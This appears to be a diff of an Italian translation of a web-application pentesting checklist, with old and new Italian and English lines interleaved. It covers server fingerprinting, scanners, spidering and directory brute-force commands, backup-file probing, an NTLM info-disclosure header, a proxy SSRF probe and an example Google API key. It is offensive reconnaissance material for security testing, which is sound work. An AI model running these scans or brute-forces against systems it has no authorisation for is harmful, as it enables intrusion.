- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere Brute-Forced._
- [ ] **Backups checking**: Verifica se puoi trovare dei **backups** dei **discovered files** aggiungendo estensioni di backup comuni.
- [ ] **Brute-Force parameters**: Prova a **find hidden parameters**.
- [ ] Una volta che hai **identified** tutti i possibili **endpoints** che accettano **user input**, verifica tutti i tipi di **vulnerabilità** correlate.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] **Backups checking**: verifica se puoi trovare **backups** dei **file scoperti** aggiungendo estensioni di backup comuni.
- [ ] **Brute-Force parameters**: prova a **trovare parametri nascosti**.
- [ ] Una volta che hai **identificato** tutti i possibili **endpoints** che accettano **user input**, verifica tutti i tipi di **vulnerabilities** correlati.
- [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## Versione del server (Vulnerabile?)
### Identify
### Identificare
Verifica se esistono **vulnerabilità note** per la **versione** del server in esecuzione.\
Le **HTTP headers and cookies of the response** possono essere molto utili per **identify** le **technologies** e/o la **version** in uso. **Nmap scan** può identificare la versione del server, ma potrebbero anche essere utili gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
Gli **HTTP headers e i cookies della response** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma possono essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Cerca [**vulnerabilità della versione dell'applicazione web**](../../generic-hacking/search-exploits.md)
Cerca **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Controlla se è presente un WAF**
### **Verifica se è presente un WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@ -65,7 +65,7 @@ Cerca [**vulnerabilità della versione dell'applicazione web**](../../generic-ha
### Trucchi per tecnologie Web
Alcuni **trucchi** per **trovare vulnerabilità** in diverse e ben note **tecnologie** in uso:
Alcuni **trucchi** per **finding vulnerabilities** in diverse well known **technologies** being used:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -102,28 +102,27 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse e ben note **tecnol
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Tieni presente che lo **stesso dominio** può utilizzare **diverse tecnologie** su diverse **porte**, **cartelle** e **sottodomini**._\
Se l'applicazione web sta usando una **tech/platform** ben nota elencata prima o qualsiasi altra, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
_Tieni presente che lo **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** differenti._\
Se l'applicazione web sta usando una delle **tech/platform listed before** o **any other**, non dimenticare di **search on the Internet** nuovi trucchi (e fammi sapere!).
### Revisione del codice sorgente
### Source Code Review
Se il **source code** dell'applicazione è disponibile su **github**, oltre a effettuare personalmente un **White box test** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale **Black-Box testing**:
Se il **source code** dell'applicazione è disponibile in **github**, oltre a eseguire da parte tua un **your own a White box test** dell'applicazione, ci sono **some information** che potrebbero essere **useful** per l'attuale **Black-Box testing**:
- Esiste un **Change-log** o **Readme** o **Version** file o qualcosa con **informazioni sulla versione** accessibile via web?
- Come e dove sono salvate le **credentials**? Esiste qualche (accessibile?) **file** con credentials (username o passwords)?
- Esiste un file **Change-log or Readme or Version** o qualcosa con **version info accessible** via web?
- Come e dove sono salvate le **credentials**? È presente qualche (accessibile?) **file** con credentials (usernames o passwords)?
- Le **passwords** sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato?
- Sta usando qualche **master key** per criptare qualcosa? Quale **algorithm** viene usato?
- Puoi **accedere a uno di questi file** sfruttando qualche vulnerabilità?
- Ci sono informazioni **interessanti nel github** (issue risolte o non risolte)? O nella **commit history** (forse qualche **password** introdotta in un vecchio commit)?
- Utilizza una **master key** per cifrare qualcosa? Quale **algorithm** viene usato?
- Puoi **access any of these files** sfruttando qualche vulnerabilità?
- Ci sono **interesting information in the github** (solved and not solved) **issues**? O nella **commit history** (forse qualche **password introduced inside an old commit**)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Scanner automatici
### Automatic scanners
#### Scanner automatici di uso generale
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -137,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### Scanner per CMS
Se viene usato un CMS non dimenticare di **eseguire una scansione**, potrebbe emergere qualcosa di interessante:
Se viene usato un CMS, non dimenticare di **eseguire uno scanner**, potresti trovare qualcosa di interessante:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
@ -150,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se vengono forniti dati) e qualche trucco da tenere a mente durante il test. Se sei fortunato hai anche trovato un CMS ed eseguito qualche scanner.
> A questo punto dovresti già avere alcune informazioni sul web server usato dal client (se vengono forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato hai anche trovato un CMS ed eseguito qualche scanner.
## Scoperta passo-passo dell'applicazione web
## Step-by-step Web Application Discovery
> Da questo punto inizieremo a interagire con l'applicazione web.
> From this point we are going to start interacting with the web application.
### Controlli iniziali
### Initial checks
**Pagine predefinite con informazioni interessanti:**
**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Controlla anche i commenti nelle pagine principali e secondarie.
- Check also comments in the main and secondary pages.
**Forzare errori**
**Forcing errors**
I web server possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o portare alla **divulgazione di informazioni sensibili**.
I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **esporre informazioni sensibili**.
- Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.etc)
- **Aggiungi "\[]", "]]", and "\[["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
- Genera un errore fornendo come input **`/~randomthing/%s`** alla **fine** della **URL**
- Prova **diversi metodi HTTP** come PATCH, DEBUG o metodi sbagliati come FAKE
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
#### **Verifica se puoi uploadare file (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **Verifica se puoi caricare file (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Se scopri che **WebDav** è **abilitato** ma non hai sufficienti permessi per **caricare file** nella cartella root prova a:
Se scopri che **WebDav** è **enabled** ma non hai sufficienti permessi per **uploading files** nella cartella root prova a:
- **Brute Force** delle credenziali
- **Carica file** via WebDav nelle **altre** cartelle trovate all'interno della pagina web. Potresti avere permessi per caricare file in altre cartelle.
- **Brute Force** credentials
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
### **Vulnerabilità SSL/TLS**
- Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
- Se l'applicazione **invia dati sensibili (password) via HTTP**. Allora è una vulnerabilità alta.
- Se l'applicazione **non obbliga l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
- Se l'applicazione sta **inviando dati sensibili (password) usando HTTP**. Allora è una vulnerabilità critica.
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare la presenza di **vulnerabilità** (nei programmi Bug Bounty probabilmente questi tipi di vulnerabilità non saranno accettati) e usa [**a2sv** ](https://github.com/hahwul/a2sv)per ricontrollare le vulnerabilità:
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare la presenza di **vulnerabilità** (nei programmi Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -204,53 +203,53 @@ Informazioni sulle vulnerabilità SSL/TLS:
### Spidering
Lancia una qualche forma di **spider** all'interno del sito web. L'obiettivo dello **spider** è **trovare quanti più percorsi possibili** dall'applicazione testata. Pertanto, dovrebbero essere usati web crawling e fonti esterne per scoprire il maggior numero possibile di percorsi validi.
Avvia un tipo di **spider** sul web. L'obiettivo dello spider è **trovare il maggior numero possibile di path** dell'applicazione testata. Di conseguenza, web crawling e fonti esterne dovrebbero essere usate per scoprire il maggior numero possibile di path validi.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi indicare un file con hosts e un file con paths e meg farà fetch di ogni path su ogni host e salverà la risposta.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): spider HTML, LinkFinder nei file JS e fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): spider HTML, con LinkFinder per file JS e Archive.org come fonte esterna.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): spider HTML, indica anche "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): spider HTML CLI interattivo. Cerca anche in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi indicare un file con hosts e un file con paths e meg richiederà ogni path su ogni host e salverà la response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): spider HTML con capacità di rendering JS. Tuttavia, sembra non mantenuto, la versione precompilata è vecchia e il codice corrente non compila
- [**gau**](https://github.com/lc/gau) (go): spider HTML che usa provider esterni (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
- [**galer**](https://github.com/dwisiswant0/galer) (go): spider HTML con capacità di rendering JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): spider HTML, con JS beautify capace di cercare nuovi path in file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nella sorgente HTML che nei file javascript embedded. Utile per bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che usa Tornado e JSBeautifier per parsare URL relative dai file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non mantenuto.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL usando una regex intelligente per trovare ed estrarre URL relative da file "ugly" (minificati).
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, vari tool): Raccoglie informazioni interessanti dai file JS usando diversi strumenti.
- [**subjs**](https://github.com/lc/subjs) (go): Trova file JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli url caricati per caricare la pagina.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di content discovery che miscela diverse opzioni degli strumenti precedenti
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare path e params nei file JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, ottiene il codice JS beatified
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Strumento per scoprire endpoint per un dato target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scopri link dalla wayback machine (scaricando anche le response nella wayback e cercando altri link)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando form) e trova info sensibili usando regex specifiche.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider GUI multi-feature progettato per professionisti della cyber security.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pacchetto Go e [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URLs, paths, secrets e altri dati interessanti dal codice sorgente JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **Burp Suite extension** per **estrarre i parametri e gli endpoint** dalle request per creare wordlist personalizzate per fuzzing e enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Ottimo strumento per questo.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
### Brute Force directories and files
Start **brute-forcing** from the root folder and assicurati di brute-force **tutte** le **directory trovate** usando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e anteporre all'inizio della wordlist utilizzata i nomi delle directory trovate).\
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Non permette certificati auto-firmati ma** consente la ricerca ricorsiva.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Consente certificati auto-firmati, non ha ricerca **ricorsiva**.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, rimuove gli URL "duplicati".
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension per creare una lista di directory dalla history di Burp di differenti pagine
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su importazioni js)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer per rilevare le tecnologie usate e selezionare le wordlist da utilizzare.
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**Dizionari consigliati:**
Recommended dictionaries:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -269,41 +268,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere nuovamente Brute-Forcata._
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti dentro gli HTML che possono essere suscettibili di takeover
- **File Backups**: Una volta che hai trovato tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Variazioni comuni per il nome di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti dentro gli HTML che potrebbero essere suscettibili di takeover
- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Variazioni comuni per il naming di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Controlla i commenti di tutti i file, potresti trovare **credentials** o **funzionalità nascoste**.
- Se stai giocando in un **CTF**, un trucco "comune" è **nascondere** **informazioni** dentro commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** così non vedi i dati se apri il sorgente con il browser). Un'altra possibilità è usare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
- **API keys**: Se trovi una API key esiste una guida che indica come usare API keys di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Se trovi una API key che inizia con **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi usare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare a quali API la key può accedere.
- **S3 Buckets**: Durante lo spidering verifica se qualche **subdomain** o qualche **link** è relativo a un **S3 bucket**. In tal caso, [**controlla** i **permessi** del bucket](buckets/index.html).
- **Comments:** Controlla i commenti di tutti i file, puoi trovare **credentials** o **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**Mentre** esegui lo **spidering** e il **brute-forcing** potresti trovare **cose** **interessanti** che devi **segnalare**.
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Interesting files**
- Cerca **link** ad altri file all'interno dei file **CSS**.
- [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md)
- Se trovi un file _**.env**_ possono essere trovate informazioni come api keys, password del db e altre informazioni.
- Se trovi **API endpoints** dovresti [testarli anche tu](web-api-pentesting.md). Questi non sono file, ma probabilmente "assomiglieranno" ad essi.
- **JS files**: Nella sezione spidering sono stati elencati diversi strumenti che possono estrarre path dai JS files. Inoltre, sarebbe interessante **monitorare ogni JS file trovato**, poiché in alcune occasioni un cambiamento può indicare che è stata introdotta una potenziale vulnerabilità nel codice. Puoi usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
- Dovresti anche controllare i JS files scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per verificare se sono vulnerabili.
- Cerca **link** verso altri file dentro i file **CSS**.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre path dai file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni un cambiamento può indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti usare, per esempio, [**JSMon**](https://github.com/robre/jsmon)**.**
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In molte occasioni sarà necessario **capire le regular expressions** usate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
- Potresti anche **monitorare i file dove sono stati rilevati form**, poiché un cambiamento nei parametri o la comparsa di un nuovo form può indicare una potenziale nuova funzionalità vulnerabile.
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -314,28 +313,28 @@ _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcin
**502 Proxy Error**
Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'header Host e altri header comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato una** SSRF.
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
**NTLM Authentication - Info disclosure**
Se il server che richiede l'autenticazione è **Windows** o trovi una login che chiede le tue **credentials** (e richiede il **domain** **name**), puoi provocare una **information disclosure**.\
**Invia** l'**header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**NTLM authentication**, il server risponderà con info interne (versione di IIS, versione di Windows...) dentro l'header "WWW-Authenticate".\
Puoi **automatizzare** questo usando il plugin di **nmap** "_http-ntlm-info.nse_".
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
È possibile **inserire contenuto** dentro una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** al suo interno.
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
### Web Vulnerabilities Checking
